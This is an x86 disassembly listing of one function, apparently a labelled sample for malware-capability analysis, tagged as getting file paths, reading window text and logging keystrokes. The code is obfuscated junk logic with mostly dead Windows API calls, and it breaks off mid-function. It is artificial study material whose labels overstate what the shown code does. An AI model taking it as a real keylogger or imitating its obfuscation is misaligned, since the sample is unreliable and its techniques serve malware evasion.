Function at 0x10042dce
Capabilities:
Get common file path
Get graphical window text
Log keystrokes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x5a4
mov dword [ebp - 8], 0x9ad59e57
mov dword [ebp - 0x3b0], 0xffffffff
mov dword [ebp - 0x48c], 0xfffffffa
mov dword [ebp - 0xf4], 0
jmp 0x10042e0b
mov eax, dword [ebp - 0xf4]
inc eax
mov dword [ebp - 0xf4], eax
cmp dword [ebp - 0xf4], 3
jge 0x10042e27
mov eax, dword [ebp - 0xf4]
mov dword [ebp + eax*4 - 0xa0], 0xfffffffe
jmp 0x10042dfe
mov byte [ebp - 0x41], 0
movzx eax, byte [ebp - 0x41]
test eax, eax
je 0x10042e53
push 0xdbf
push 0x1328
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.USER32.dll_DrawEdge]
mov dword [ebp - 8], 2
jmp 0x10042e63
mov eax, dword [ebp - 8]
dec eax
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0
jl 0x10043195
mov dword [ebp - 0x6c], 0xbe4438b
mov dword [ebp - 0x34c], 0xe7bf5cbf
mov dword [ebp - 0x178], 0xed997831
mov dword [ebp - 0x3d8], 0xfffd
mov eax, dword [ebp - 8]
mov dword [ebp + eax*4 - 0xa0], 0xffffffff
mov dword [ebp - 0x6c], 0
jmp 0x10042eb0
mov eax, dword [ebp - 0x6c]
inc eax
mov dword [ebp - 0x6c], eax
cmp dword [ebp - 0x6c], 2
jg 0x10043190
mov dword [ebp - 0x20], 0
jmp 0x10042eca
mov eax, dword [ebp - 0x20]
inc eax
mov dword [ebp - 0x20], eax
cmp dword [ebp - 0x20], 3
jge 0x10042ee0
mov eax, dword [ebp - 0x20]
mov dword [ebp + eax*4 - 0x504], 0xffffffff
jmp 0x10042ec3
mov dword [ebp - 0x20], 0
jmp 0x10042ef0
mov eax, dword [ebp - 0x20]
inc eax
mov dword [ebp - 0x20], eax
cmp dword [ebp - 0x20], 3
jge 0x10042f06
mov eax, dword [ebp - 0x20]
mov dword [ebp + eax*4 - 0x4bc], 0xc0f3adc
jmp 0x10042ee9
xor eax, eax
jne 0x10043018
cmp dword [ebp - 8], 0xc80ae7b1
jae 0x10042f23
mov dword [ebp - 0x1bc], 1
jmp 0x10042f2a
and dword [ebp - 0x1bc], 0
mov eax, dword [ebp - 8]
cmp dword [ebp + eax*4 - 0xa0], 0xfffffff7
jge 0x10042f50
mov eax, dword [ebp - 8]
cmp dword [ebp + eax*4 - 0xa0], 0
je 0x10042f50
mov dword [ebp - 0x348], 1
jmp 0x10042f57
and dword [ebp - 0x348], 0
mov eax, dword [ebp - 8]
cmp dword [ebp - 0x348], eax
jl 0x10042f6e
mov dword [ebp - 0x338], 1
jmp 0x10042f75
and dword [ebp - 0x338], 0
mov eax, dword [ebp - 8]
mov ecx, dword [ebp - 0x338]
sub ecx, dword [ebp + eax*4 - 0xa0]
mov dword [ebp - 0x34c], ecx
je 0x10042fa9
push 4
pop eax
shl eax, 0
cmp dword [ebp + eax - 0xa0], 0
je 0x10042fa9
mov dword [ebp - 0x35c], 1
jmp 0x10042fb0
and dword [ebp - 0x35c], 0
push 4
pop eax
shl eax, 1
mov eax, dword [ebp + eax - 0xa0]
mov dword [ebp - 0x4d0], eax
mov eax, dword [ebp - 0x6c]
cmp dword [ebp - 0x1bc], eax
jl 0x10042fef
cmp dword [ebp - 0x3b0], 0
je 0x10042fef
mov eax, dword [ebp - 8]
cmp dword [ebp + eax*4 - 0xa0], 0
je 0x10042fef
mov dword [ebp - 0x168], 1
jmp 0x10042ff6
and dword [ebp - 0x168], 0
push 4
pop eax
shl eax, 0
mov ecx, dword [ebp - 0x168]
mov dword [ebp + eax - 0x504], ecx
cmp dword [ebp - 0x6c], 0
jne 0x10043018
and dword [ebp - 0x2e0], 0
jmp 0x10043022
mov dword [ebp - 0x2e0], 1
push 4
pop eax
shl eax, 1
mov eax, dword [ebp + eax - 0xa0]
cmp dword [ebp - 0x2e0], eax
jne 0x10043042
mov dword [ebp - 0x170], 1
jmp 0x10043049
and dword [ebp - 0x170], 0
mov eax, dword [ebp - 0x170]
inc eax
neg eax
cmp eax, 0xd978
jle 0x10043065
mov dword [ebp - 0x3b8], 1
jmp 0x1004306c
and dword [ebp - 0x3b8], 0
mov eax, dword [ebp - 8]
mov eax, dword [ebp + eax*4 - 0xa0]
mov dword [ebp - 0x4a0], eax
mov eax, dword [ebp - 8]
mov eax, dword [ebp + eax*4 - 0xa0]
mov dword [ebp - 0x450], eax
mov eax, dword [ebp - 8]
mov eax, dword [ebp + eax*4 - 0xa0]
mov dword [ebp - 0x464], eax
mov eax, dword [ebp - 8]
mov eax, dword [ebp + eax*4 - 0xa0]
mov dword [ebp - 0x42c], eax
mov eax, dword [ebp - 0x178]
mov dword [ebp - 0x434], eax
push 9
pop eax
cmp eax, 0x31ec8e12
ja 0x100430ce
mov dword [ebp - 0x2e8], 1
jmp 0x100430d5
and dword [ebp - 0x2e8], 0
mov eax, dword [ebp - 0x3d8]
mov ecx, dword [ebp - 0x2e8]
lea eax, [ecx + eax - 1]
test eax, eax
je 0x100430fe
cmp dword [ebp - 0x178], 0
je 0x100430fe
mov dword [ebp - 0x2f0], 1
jmp 0x10043105
and dword [ebp - 0x2f0], 0
mov eax, dword [ebp - 8]
mov eax, dword [ebp + eax*4 - 0xa0]
cmp eax, dword [ebp - 0x2f0]
je 0x10043123
mov dword [ebp - 0x13c], 1
jmp 0x1004312a
and dword [ebp - 0x13c], 0
mov eax, dword [ebp - 8]
mov ecx, dword [ebp - 0x13c]
mov dword [ebp + eax*4 - 0xa0], ecx
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x4bc]
cmp dword [ebp - 0x13c], eax
jl 0x1004315b
mov dword [ebp - 0x180], 1
jmp 0x10043162
and dword [ebp - 0x180], 0
imul eax, dword [ebp - 0x180], 0xfffffffe
push 4
pop ecx
imul ecx, ecx, 0
mov dword [ebp + ecx - 0x4bc], eax
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0xa0], 0
je 0x1004318b
jmp 0x10042ea9
jmp 0x10042ea9
jmp 0x10042e5c
mov dword [ebp - 0x88], 0x3f6a0837
mov dword [ebp - 0x328], 1
mov dword [ebp - 0x36c], 8
mov dword [ebp - 0x138], 0
jmp 0x100431cc
mov eax, dword [ebp - 0x138]
inc eax
mov dword [ebp - 0x138], eax
cmp dword [ebp - 0x138], 1
jge 0x100431e5
mov eax, dword [ebp - 0x138]
mov dword [ebp + eax*4 - 0x18], 0x97f6af11
jmp 0x100431bf
push 4
pop eax
imul eax, eax, 0
mov dword [ebp + eax - 0x18], 0x12
jmp 0x1004320a
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x18]
dec eax
push 4
pop ecx
imul ecx, ecx, 0
mov dword [ebp + ecx - 0x18], eax
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0x18], 0xfffffff6
jle 0x10043491
mov dword [ebp - 0x310], 0x3773672d
mov dword [ebp - 0x198], 0xd61fb9a3
mov dword [ebp - 0x114], 0
jmp 0x10043248
mov eax, dword [ebp - 0x114]
inc eax
mov dword [ebp - 0x114], eax
cmp dword [ebp - 0x114], 2
jge 0x10043264
mov eax, dword [ebp - 0x114]
mov dword [ebp + eax*4 - 0x3c4], 0x12e1dfe0
jmp 0x1004323b
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x18]
mov dword [ebp - 0x43c], eax
push 0xfffffffffffffff8
pop eax
cmp eax, 0xfffffff6
jb 0x10043288
mov dword [ebp - 0x2f8], 1
jmp 0x1004328f
and dword [ebp - 0x2f8], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x18]
add eax, dword [ebp - 0x2f8]
push 4
pop ecx
imul ecx, ecx, 0
cmp eax, dword [ebp + ecx - 0x3c4]
jl 0x100432ba
mov dword [ebp - 0x188], 1
jmp 0x100432c1
and dword [ebp - 0x188], 0
cmp dword [ebp - 0x188], 1
jne 0x100432d6
mov dword [ebp - 0x300], 1
jmp 0x100432dd
and dword [ebp - 0x300], 0
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0x3c4]
imul eax, dword [ebp - 0x300]
test eax, eax
jne 0x10043310
mov eax, 0xc2f92e6c
test eax, eax
jne 0x10043310
cmp dword [ebp - 0x88], 0
jne 0x10043310
and dword [ebp - 0x190], 0
jmp 0x1004331a
mov dword [ebp - 0x190], 1
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x18]
cmp dword [ebp - 0x190], eax
jl 0x10043338
mov dword [ebp - 0x308], 1
jmp 0x1004333f
and dword [ebp - 0x308], 0
mov eax, dword [ebp - 0x88]
cmp dword [ebp - 0x308], eax
je 0x10043359
mov dword [ebp - 0x3e0], 1
jmp 0x10043360
and dword [ebp - 0x3e0], 0
mov eax, dword [ebp - 0x88]
mov dword [ebp - 0x88], eax
mov eax, dword [ebp - 0x88]
mov dword [ebp - 0x198], eax
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x18]
cmp dword [ebp - 0x198], eax
je 0x10043396
mov dword [ebp - 0x1a0], 1
jmp 0x1004339d
and dword [ebp - 0x1a0], 0
mov dword [ebp - 0x310], 0x703026d8
mov eax, dword [ebp - 0x310]
cmp eax, dword [ebp - 0x1a0]
jne 0x100433c1
mov dword [ebp - 0x318], 1
jmp 0x100433c8
and dword [ebp - 0x318], 0
mov eax, dword [ebp - 0x318]
add eax, 0x4b4b
cmp eax, 0x9c32
jle 0x100433e6
mov dword [ebp - 0x1a8], 1
jmp 0x100433ed
and dword [ebp - 0x1a8], 0
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0x3c4]
cmp eax, dword [ebp - 0x1a8]
jg 0x1004340b
mov eax, 0xc6ea
test eax, eax
je 0x10043424
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0x18], 0
je 0x10043424
mov dword [ebp - 0x320], 1
jmp 0x1004342b
and dword [ebp - 0x320], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x18]
cmp dword [ebp - 0x320], eax
jge 0x10043453
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0x18], 0
jne 0x10043453
and dword [ebp - 0x1b0], 0
jmp 0x1004345d
mov dword [ebp - 0x1b0], 1
mov eax, dword [ebp - 0x1b0]
mov dword [ebp - 0x328], eax
mov eax, dword [ebp - 0x328]
mov dword [ebp - 0x36c], eax
mov byte [ebp - 0x47], 0
movzx eax, byte [ebp - 0x47]
test eax, eax
je 0x1004348c
push 0x213d
call dword [sym.imp.USER32.dll_GetKeyboardType]
jmp 0x100431f5
mov dword [ebp - 0xc], 0x9ad59e57
mov dword [ebp - 0x104], 0xbeb0647d
mov dword [ebp - 0xac], 0
jmp 0x100434bb
mov eax, dword [ebp - 0xac]
inc eax
mov dword [ebp - 0xac], eax
cmp dword [ebp - 0xac], 2
jge 0x100434d7
mov eax, dword [ebp - 0xac]
mov dword [ebp + eax*4 - 0x518], 0xca631852
jmp 0x100434ae
mov dword [ebp - 0x104], 0
jmp 0x100434f0
mov eax, dword [ebp - 0x104]
inc eax
mov dword [ebp - 0x104], eax
cmp dword [ebp - 0x104], 1
jg 0x10043580
mov dword [ebp - 0x494], 0xeb9ae77a
mov dword [ebp - 0x4e4], 0x44455595
mov dword [ebp - 0x4e0], 0x44455595
mov dword [ebp - 0x4dc], 0x44455595
mov dword [ebp - 0x4d8], 0x44455595
mov dword [ebp - 0x330], 0xfffffffd
mov dword [ebp - 0xb4], 0
jmp 0x10043552
mov eax, dword [ebp - 0xb4]
inc eax
mov dword [ebp - 0xb4], eax
cmp dword [ebp - 0xb4], 4
jge 0x1004356e
mov eax, dword [ebp - 0xb4]
mov dword [ebp + eax*4 - 0x5a4], 0xf3f6085e
jmp 0x10043545
mov eax, dword [ebp - 0x330]
dec eax
mov dword [ebp - 0x330], eax
jmp 0x100434e3
mov dword [ebp - 0x368], 0xffffffff
mov dword [ebp - 0x148], 7
mov dword [ebp - 0x54], 0
mov dword [ebp - 0x150], 0
mov dword [ebp - 0x1cc], 1
mov dword [ebp - 0x1dc], 0xffffffff
mov dword [ebp - 0x3a8], 0xadd63529
mov dword [ebp - 0x364], 4
mov eax, dword [ebp - 0x148]
mov dword [ebp - 0x49c], eax
mov eax, dword [ebp - 0x54]
cmp dword [ebp - 0x54], eax
je 0x100435ed
mov dword [ebp - 0x1b8], 1
jmp 0x100435f4
and dword [ebp - 0x1b8], 0
mov eax, dword [ebp - 0x54]
cmp eax, dword [ebp - 0x1b8]
jne 0x1004360b
mov dword [ebp - 0x284], 1
jmp 0x10043612
and dword [ebp - 0x284], 0
mov eax, dword [ebp - 0x284]
mov dword [ebp - 0x148], eax
mov eax, dword [ebp - 0x54]
cmp dword [ebp - 0x148], eax
jg 0x10043635
mov dword [ebp - 0x1c4], 1
jmp 0x1004363c
and dword [ebp - 0x1c4], 0
mov eax, dword [ebp - 0x150]
cmp dword [ebp - 0x1c4], eax
jge 0x10043656
mov dword [ebp - 0x33c], 1
jmp 0x1004365d
and dword [ebp - 0x33c], 0
or eax, 0xffffffff
sub eax, dword [ebp - 0x33c]
mov dword [ebp - 0x1cc], eax
jne 0x1004367b
xor eax, eax
jne 0x1004367b
and dword [ebp - 0x28c], 0
jmp 0x10043685
mov dword [ebp - 0x28c], 1
mov eax, dword [ebp - 0x54]
cmp dword [ebp - 0x28c], eax
jg 0x1004369c
mov dword [ebp - 0x1d4], 1
jmp 0x100436a3
and dword [ebp - 0x1d4], 0
mov eax, dword [ebp - 0x54]
cmp dword [ebp - 0x1d4], eax
jne 0x100436ba
mov dword [ebp - 0x2ec], 1
jmp 0x100436c1
and dword [ebp - 0x2ec], 0
mov eax, dword [ebp - 0x2ec]
mov dword [ebp - 0x1dc], eax
cmp dword [ebp - 0x1dc], 0
jne 0x100436e8
cmp dword [ebp - 0x150], 0
jne 0x100436e8
and dword [ebp - 0x294], 0
jmp 0x100436f2
mov dword [ebp - 0x294], 1
mov eax, dword [ebp - 0x150]
cmp dword [ebp - 0x294], eax
je 0x1004370c
mov dword [ebp - 0x1e4], 1
jmp 0x10043713
and dword [ebp - 0x1e4], 0
mov eax, dword [ebp - 0x1e4]
sub eax, 0x8e35
cmp eax, dword [ebp - 0x54]
jl 0x1004372f
mov dword [ebp - 0x31c], 1
jmp 0x10043736
and dword [ebp - 0x31c], 0
mov eax, dword [ebp - 0x3a8]
cmp dword [ebp - 0x31c], eax
jle 0x10043750
mov dword [ebp - 0x1ec], 1
jmp 0x10043757
and dword [ebp - 0x1ec], 0
mov eax, dword [ebp - 0x1ec]
mov dword [ebp - 0x364], eax
mov byte [ebp - 0x36], 0
movzx eax, byte [ebp - 0x36]
test eax, eax
je 0x1004377c
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_SetCapture]
mov dword [ebp - 0x4a4], 0xfffffffa
mov dword [ebp - 0x5c], 5
cmp dword [ebp - 0x5c], 8
jle 0x100437e8
mov dword [ebp - 0x5c], 0
jmp 0x100437a3
mov eax, dword [ebp - 0x5c]
inc eax
mov dword [ebp - 0x5c], eax
cmp dword [ebp - 0x5c], 0x27
jne 0x100437e3
mov byte [ebp - 0x38], 0
movzx eax, byte [ebp - 0x38]
test eax, eax
je 0x100437c6
push 0
push 1
push 0x4fe
push 0
call dword [sym.imp.USER32.dll_GetMenuItemInfoW]
mov byte [ebp - 0x3a], 0
movzx eax, byte [ebp - 0x3a]
test eax, eax
je 0x100437e1
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_EndDialog]
jmp 0x1004379c
jmp 0x10043896
mov dword [ebp - 0x144], 0x81ced8f6
mov dword [ebp - 0x378], 0x50a4ba31
mov eax, dword [ebp - 0x5c]
mov dword [ebp - 0x4ac], eax
imul eax, dword [ebp - 0x144], 0
cmp eax, 0x9c96c797
ja 0x1004381f
mov dword [ebp - 0x29c], 1
jmp 0x10043826
and dword [ebp - 0x29c], 0
mov eax, dword [ebp - 0x144]
cmp dword [ebp - 0x29c], eax
jg 0x10043840
mov dword [ebp - 0x1f4], 1
jmp 0x10043847
and dword [ebp - 0x1f4], 0
mov eax, dword [ebp - 0x5c]
cmp dword [ebp - 0x1f4], eax
jne 0x1004385e
mov dword [ebp - 0x2f4], 1
jmp 0x10043865
and dword [ebp - 0x2f4], 0
mov eax, dword [ebp - 0x144]
imul eax, dword [ebp - 0x2f4]
cmp eax, 0xfffffffc
jne 0x10043883
mov dword [ebp - 0x1fc], 1
jmp 0x1004388a
and dword [ebp - 0x1fc], 0
mov eax, dword [ebp - 0x1fc]
mov dword [ebp - 0x378], eax
mov dword [ebp - 0x64], 0xfffffff7
mov dword [ebp - 0x334], 0x9cdc345f
mov dword [ebp - 0x374], 0xfffffff9
mov dword [ebp - 0x120], 0
jmp 0x100438ca
mov eax, dword [ebp - 0x120]
inc eax
mov dword [ebp - 0x120], eax
cmp dword [ebp - 0x120], 1
jge 0x100438e6
mov eax, dword [ebp - 0x120]
mov dword [ebp + eax*4 - 0x3a4], 0
jmp 0x100438bd
mov byte [ebp - 0x3c], 0
movzx eax, byte [ebp - 0x3c]
test eax, eax
je 0x10043926
push 0
push 0x268d
push 0x514
push 0x1c9e
push 0x2090
push 0x1882
push 0x2081
push 0x15fe
push 0x2563
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_AllocateAndInitializeSid]
mov eax, dword [ebp - 0x64]
cmp dword [ebp - 0x64], eax
jge 0x1004393a
mov dword [ebp - 0x20c], 1
jmp 0x10043941
and dword [ebp - 0x20c], 0
cmp dword [ebp - 0x64], 0
jne 0x10043982
cmp dword [ebp - 0x64], 0
jne 0x10043982
cmp dword [ebp - 0x64], 0
je 0x10043965
cmp dword [ebp - 0x64], 0
je 0x10043965
mov dword [ebp - 0x2a4], 1
jmp 0x1004396c
and dword [ebp - 0x2a4], 0
mov eax, dword [ebp - 0x2a4]
add eax, 0x5b7d
jne 0x10043982
and dword [ebp - 0x204], 0
jmp 0x1004398c
mov dword [ebp - 0x204], 1
mov eax, dword [ebp - 0x204]
mov dword [ebp - 0x334], eax
mov eax, dword [ebp - 0x64]
cmp dword [ebp - 0x334], eax
jle 0x100439af
mov dword [ebp - 0x154], 1
jmp 0x100439b6
and dword [ebp - 0x154], 0
push 4
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0x154]
mov dword [ebp + eax - 0x3a4], ecx
mov eax, dword [ebp - 0x20c]
add eax, dword [ebp - 0x154]
mov dword [ebp - 0x374], eax
mov dword [ebp - 0xbc], 0
jmp 0x100439f4
mov eax, dword [ebp - 0xbc]
inc eax
mov dword [ebp - 0xbc], eax
cmp dword [ebp - 0xbc], 3
jge 0x10043a10
mov eax, dword [ebp - 0xbc]
mov dword [ebp + eax*4 - 0x94], 0xfffffffe
jmp 0x100439e7
mov dword [ebp - 0x37c], 0xa2a3
mov dword [ebp - 0x10c], 0
jmp 0x10043a33
mov eax, dword [ebp - 0x10c]
inc eax
mov dword [ebp - 0x10c], eax
cmp dword [ebp - 0x10c], 2
jge 0x10043a4f
mov eax, dword [ebp - 0x10c]
mov dword [ebp + eax*4 - 0x520], 7
jmp 0x10043a26
or eax, 0xffffffff
je 0x10043a73
mov byte [ebp - 0x3e], 0
movzx eax, byte [ebp - 0x3e]
test eax, eax
je 0x10043a71
push 0
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_EnumChildWindows]
jmp 0x10043ae5
mov dword [ebp - 0xc4], 0xfffffff6
mov dword [ebp - 0xc4], 0
jmp 0x10043a96
mov eax, dword [ebp - 0xc4]
inc eax
mov dword [ebp - 0xc4], eax
cmp dword [ebp - 0xc4], 0x13
je 0x10043ae5
mov dword [ebp - 0x128], 0xfffffff6
mov dword [ebp - 0x128], 0xffffffe6
jmp 0x10043ac2
mov eax, dword [ebp - 0x128]
inc eax
mov dword [ebp - 0x128], eax
cmp dword [ebp - 0x128], 0xb
jg 0x10043ae3
mov dword [ebp - 0x3d4], 0
mov eax, dword [ebp - 0x3d4]
mov dword [ebp - 0x37c], eax
jmp 0x10043ab5
jmp 0x10043a89
mov byte [ebp - 0x44], 0
mov dword [ebp - 0xcc], 0x13b91020
mov dword [ebp - 0xcc], 0xffffffe7
jmp 0x10043b0c
mov eax, dword [ebp - 0xcc]
dec eax
mov dword [ebp - 0xcc], eax
cmp dword [ebp - 0xcc], 0xffffffe5
jl 0x10043bd7
mov dword [ebp - 0xd4], 0x751c76d7
mov dword [ebp - 0x130], 0
jmp 0x10043b3c
mov eax, dword [ebp - 0x130]
inc eax
mov dword [ebp - 0x130], eax
cmp dword [ebp - 0x130], 3
jge 0x10043b58
mov eax, dword [ebp - 0x130]
mov dword [ebp + eax*4 - 0x54c], 4
jmp 0x10043b2f
mov dword [ebp - 0xd4], 0
jmp 0x10043b71
mov eax, dword [ebp - 0xd4]
inc eax
mov dword [ebp - 0xd4], eax
cmp dword [ebp - 0xd4], 2
jg 0x10043bd2
mov byte [ebp - 0x40], 0
movzx eax, byte [ebp - 0x40]
test eax, eax
je 0x10043ba6
push 0
push 0x155f
push 0x597
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_MoveToEx]
mov byte [ebp - 0x42], 0
movzx eax, byte [ebp - 0x42]
test eax, eax
je 0x10043bd0
push 0x2256
push 0x1d6
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_GetPixel]
jmp 0x10043b64
jmp 0x10043aff
movzx eax, byte [ebp - 0x44]
test eax, eax
je 0x10043bff
push 0xdbf
push 0x1328
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.USER32.dll_DrawEdge]
mov dword [ebp - 0x134], 0x13b91020
mov dword [ebp - 0x134], 0xffffffe7
jmp 0x10043c22
mov eax, dword [ebp - 0x134]
dec eax
mov dword [ebp - 0x134], eax
cmp dword [ebp - 0x134], 0xffffffe5
jl 0x10043ced
mov dword [ebp - 0x11c], 0x751c76d7
mov dword [ebp - 0xdc], 0
jmp 0x10043c52
mov eax, dword [ebp - 0xdc]
inc eax
mov dword [ebp - 0xdc], eax
cmp dword [ebp - 0xdc], 3
jge 0x10043c6e
mov eax, dword [ebp - 0xdc]
mov dword [ebp + eax*4 - 0x57c], 4
jmp 0x10043c45
mov dword [ebp - 0x11c], 0
jmp 0x10043c87
mov eax, dword [ebp - 0x11c]
inc eax
mov dword [ebp - 0x11c], eax
cmp dword [ebp - 0x11c], 2
jg 0x10043ce8
mov byte [ebp - 0x46], 0
movzx eax, byte [ebp - 0x46]
test eax, eax
je 0x10043cbc
push 0
push 0x155f
push 0x597
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_MoveToEx]
mov byte [ebp - 0x48], 0
movzx eax, byte [ebp - 0x48]
test eax, eax
je 0x10043ce6
push 0x2256
push 0x1d6
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_GetPixel]
jmp 0x10043c7a
jmp 0x10043c15
mov dword [ebp - 0xc], 2
jmp 0x10043cfd
mov eax, dword [ebp - 0xc]
dec eax
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0
jl 0x10044eae
mov dword [ebp - 0x4f0], 0xd6887694
mov dword [ebp - 0x2c], 0
jmp 0x10043d21
mov eax, dword [ebp - 0x2c]
inc eax
mov dword [ebp - 0x2c], eax
cmp dword [ebp - 0x2c], 3
jge 0x10043d37
mov eax, dword [ebp - 0x2c]
mov dword [ebp + eax*4 - 0x558], 0xffffffff
jmp 0x10043d1a
mov dword [ebp - 0x2c], 0
jmp 0x10043d47
mov eax, dword [ebp - 0x2c]
inc eax
mov dword [ebp - 0x2c], eax
cmp dword [ebp - 0x2c], 4
jge 0x10043d5d
mov eax, dword [ebp - 0x2c]
mov dword [ebp + eax*4 - 0x424], 0xca4f833f
jmp 0x10043d40
push 4
pop eax
imul eax, eax, 3
mov dword [ebp + eax - 0x424], 0
jmp 0x10043d8b
push 4
pop eax
imul eax, eax, 3
mov eax, dword [ebp + eax - 0x424]
inc eax
push 4
pop ecx
imul ecx, ecx, 3
mov dword [ebp + ecx - 0x424], eax
push 4
pop eax
imul eax, eax, 3
cmp dword [ebp + eax - 0x424], 2
jg 0x10043dbd
mov byte [ebp - 0x4a], 0
movzx eax, byte [ebp - 0x4a]
test eax, eax
je 0x10043dbb
push 0xbf7
push 0
push 0x582
push 0
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
jmp 0x10043d70
mov byte [ebp - 0x4c], 0
movzx eax, byte [ebp - 0x4c]
test eax, eax
je 0x10043de2
push 0x20f0
push 0
push 0x15af
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDlgItemTextA]
mov dword [ebp - 0x74], 0xbe4438b
mov dword [ebp - 0x258], 0xe7bf5cbf
mov dword [ebp - 0x288], 0xed997831
mov dword [ebp - 0x4f8], 0x8195
mov dword [ebp - 0x430], 0x5f0b101a
mov dword [ebp - 0x46c], 1
mov dword [ebp - 0x2ac], 8
mov dword [ebp - 0x438], 0xf8b8ae50
mov dword [ebp - 0x3c8], 5
mov dword [ebp - 0x474], 0x9c710427
mov dword [ebp - 0x440], 0x592c6eed
mov dword [ebp - 0x47c], 9
mov dword [ebp - 0x3ac], 0
mov dword [ebp - 0x44c], 0xe0fc36fe
mov dword [ebp - 0x484], 0xffffffff
mov dword [ebp - 0x21c], 0xffffffff
mov dword [ebp - 0x428], 0
mov dword [ebp - 0x384], 0xffffffff
mov dword [ebp - 0x4d4], 0x45dcefb
mov dword [ebp - 0xe4], 0
jmp 0x10043eb6
mov eax, dword [ebp - 0xe4]
inc eax
mov dword [ebp - 0xe4], eax
cmp dword [ebp - 0xe4], 3
jge 0x10043ed2
mov eax, dword [ebp - 0xe4]
mov dword [ebp + eax*4 - 0x594], 0x8af16de6
jmp 0x10043ea9
mov dword [ebp - 0x2ac], 0
mov eax, dword [ebp - 0x3ac]
cmp dword [ebp - 0x2ac], eax
jle 0x10043ef6
mov dword [ebp - 0x214], 1
jmp 0x10043efd
and dword [ebp - 0x214], 0
mov eax, dword [ebp - 0x384]
cmp dword [ebp - 0x214], eax
jge 0x10043f17
mov dword [ebp - 0x2fc], 1
jmp 0x10043f1e
and dword [ebp - 0x2fc], 0
mov eax, dword [ebp - 0x2fc]
mov dword [ebp - 0x21c], eax
mov eax, dword [ebp - 0x21c]
mov dword [ebp - 0x3c8], eax
mov dword [ebp - 0x360], 0xfffd
mov dword [ebp - 0x468], 0xfff9
mov byte [ebp - 0x37], 0
movzx eax, byte [ebp - 0x37]
test eax, eax
je 0x10043f67
push 1
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_InvalidateRect]
mov byte [ebp - 0x67], 0
movzx eax, byte [ebp - 0x67]
test eax, eax
je 0x10043f85
push 1
push 0x1df2
push 0x98e
call dword [sym.imp.USER32.dll_AttachThreadInput]
mov dword [ebp - 4], 0x68ec0ae9
mov dword [ebp - 0x2bc], 0xfffffffc
mov dword [ebp - 0x3f0], 0xddd9cd4
mov dword [ebp - 0x3ec], 0xddd9cd4
mov dword [ebp - 0x3e8], 0xddd9cd4
mov dword [ebp - 0x3e4], 0xddd9cd4
mov dword [ebp - 0x38c], 0
mov dword [ebp - 4], 0
jmp 0x10043fd8
mov eax, dword [ebp - 4]
inc eax
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0xb
jle 0x10043ff9
mov byte [ebp - 0x39], 0
movzx eax, byte [ebp - 0x39]
test eax, eax
je 0x10043ff7
push 0
push 0xab1
call dword [sym.imp.KERNEL32.dll_GetTempPathW]
jmp 0x10043fd1
cmp dword [ebp - 4], 0
jl 0x1004400b
mov dword [ebp - 0x14c], 1
jmp 0x10044012
and dword [ebp - 0x14c], 0
push 4
pop eax
imul eax, eax, 3
mov ecx, dword [ebp - 0x14c]
mov dword [ebp + eax - 0x3f0], ecx
mov eax, dword [ebp - 4]
cmp dword [ebp - 0x14c], eax
je 0x1004403c
mov dword [ebp - 0x2b4], 1
jmp 0x10044043
and dword [ebp - 0x2b4], 0
cmp dword [ebp - 0x2b4], 0xfffffff8
je 0x10044058
mov dword [ebp - 0x224], 1
jmp 0x1004405f
and dword [ebp - 0x224], 0
cmp dword [ebp - 0x224], 7
jb 0x10044074
mov dword [ebp - 0x324], 1
jmp 0x1004407b
and dword [ebp - 0x324], 0
mov eax, dword [ebp - 4]
imul eax, dword [ebp - 0x324]
cmp eax, dword [ebp - 4]
jl 0x10044096
mov dword [ebp - 0x22c], 1
jmp 0x1004409d
and dword [ebp - 0x22c], 0
mov eax, dword [ebp - 4]
cmp dword [ebp - 0x22c], eax
jge 0x100440af
cmp dword [ebp - 0x38c], 0
push 0xfffffffffffffffa
pop eax
cmp eax, 1
je 0x100440c3
mov dword [ebp - 0x234], 1
jmp 0x100440ca
and dword [ebp - 0x234], 0
mov eax, dword [ebp - 4]
mov dword [ebp - 0x2bc], eax
mov eax, dword [ebp - 0x2bc]
cmp eax, dword [ebp - 0x234]
